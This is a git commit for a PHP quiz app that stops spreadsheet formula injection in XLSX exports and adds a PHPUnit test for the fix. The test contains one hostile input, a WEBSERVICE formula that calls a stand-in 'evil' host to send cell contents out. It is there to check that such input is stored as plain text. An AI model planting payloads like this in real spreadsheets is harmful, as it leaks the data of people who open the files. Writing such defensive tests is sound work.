Prevent formula injection in spreadsheet exports

Answer/candidate text starting with =, +, -, or @ was written to XLSX
exports as a live formula rather than plain text. Since seasons can
have multiple owners, a co-owner could plant a formula that runs (and
can exfiltrate data) when another owner opens the export in Excel.
This commit is contained in:
2026-07-13 09:31:14 +02:00
parent 4f3a6fbc89
commit cd293aa86f
7 changed files with 265 additions and 1 deletions
@@ -4,6 +4,7 @@ declare(strict_types=1);
namespace Tvdt\Tests\Service;
use PhpOffice\PhpSpreadsheet\Cell\DataType;
use PhpOffice\PhpSpreadsheet\Reader;
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer;
@@ -121,6 +122,26 @@ final class QuizSpreadsheetServiceTest extends TestCase
$this->assertCount(3, $second->answers);
}
public function testQuizToXlsxStoresFormulaLikeAnswerTextAsPlainString(): void
{
$quiz = new Quiz();
$question = new Question();
$question->question = 'Who missed the assignment?';
$question->ordering = 1;
$question->addAnswer(new Answer('=WEBSERVICE("http://evil/?"&A1)', isRightAnswer: true));
$question->addAnswer(new Answer('Bob', isRightAnswer: false));
$quiz->addQuestion($question);
$path = $this->captureXlsx($this->subject->quizToXlsx($quiz));
$sheet = new Reader\Xlsx()->setReadDataOnly(true)->load($path)->getActiveSheet();
$cell = $sheet->getCell('B2');
$this->assertSame(DataType::TYPE_STRING, $cell->getDataType());
$this->assertSame('=WEBSERVICE("http://evil/?"&A1)', $cell->getValue());
}
public function testXlsxToQuizThrowsOnInvalidMimeType(): void
{
$path = $this->createTempPath('.txt');